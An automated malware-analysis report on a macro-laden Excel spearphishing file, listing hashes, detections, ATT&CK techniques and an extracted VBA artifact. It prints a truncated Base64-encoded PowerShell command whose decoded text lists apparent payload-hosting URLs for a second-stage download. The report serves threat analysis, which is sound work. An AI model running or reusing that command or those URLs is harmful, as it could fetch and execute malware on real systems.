Office (OLE) / .XLSX malware analysis — malicious · 3ad22c9df8187c4a

MALICIOUS

Office (OLE) / .XLSX

142.0 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 122abc4a815dd6fbcbff20777d72f7ad SHA-1: eb39d89c2d9bf8827483d3bb5a554bfc551539e1 SHA-256: 3ad22c9df8187c4a9e364748850b7652472c7d2eb1457c81abf411abc1b6ebaa

280 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file is an Excel spreadsheet containing VBA macros, specifically a Workbook_Open macro that executes obfuscated commands. The script utilizes 'CreateObject' to instantiate 'Wscript.Shell' and 'Scripting.FileSystemObject', indicating an intent to run external commands and manipulate files. The reconstructed command line `hell -e -enc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAGcAbwB5AGEAbAB1AGEAdAAuAHYAbQBlAHMAaAAuAGkAbgAvADAAdgA2AGsAYwBuAHkALwBDAEcALwAsAGgAdAB0AHAAcwA6AC8ALwBtAGEAcgBzAC4AcwByAGwALwB3AHAALQBhAGQAbQBpAG4ALwA3AEYAZgBrADYATABMAE4AMgBYAHMAMgBXAC8ALABoAHQAdABwADoALwAvAGYAcgBhAG4AbQB1AGwAZQByAG8ALgBlAHMALwBtAGIAeAAvADgAYwA1AFIAQgBKAHgANgAvACwAaAB0AHQAcAA6AC8ALwB2AGEAcgBhAGYAbwBvAGQALgBjAG8AbQAvAEEAagBhAHgALwBjAG4ATQA5ADEARwAvACwAaAB0AHQAcABzADoALwAvADcAagBjAGEAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQALwAsAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGMAZQBuAHQAcgBhAGwAaABvAG0AZQAuAGgA` suggests the execution of a Base64 encoded PowerShell command, likely to download and execute a second-stage payload from one of the listed URLs. The presence of `c:\programdata\jledshf.bat` and `c:\programdata\sduoixo.vbs` further indicates file manipulation for payload staging.

Heuristics 7

ClamAV: Doc.Malware.Valyria-10004384-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-10004384-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `527d0656a0c2c323955d068683ef8f7e20c035cda247a1e24383595c0eb3403b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	7821 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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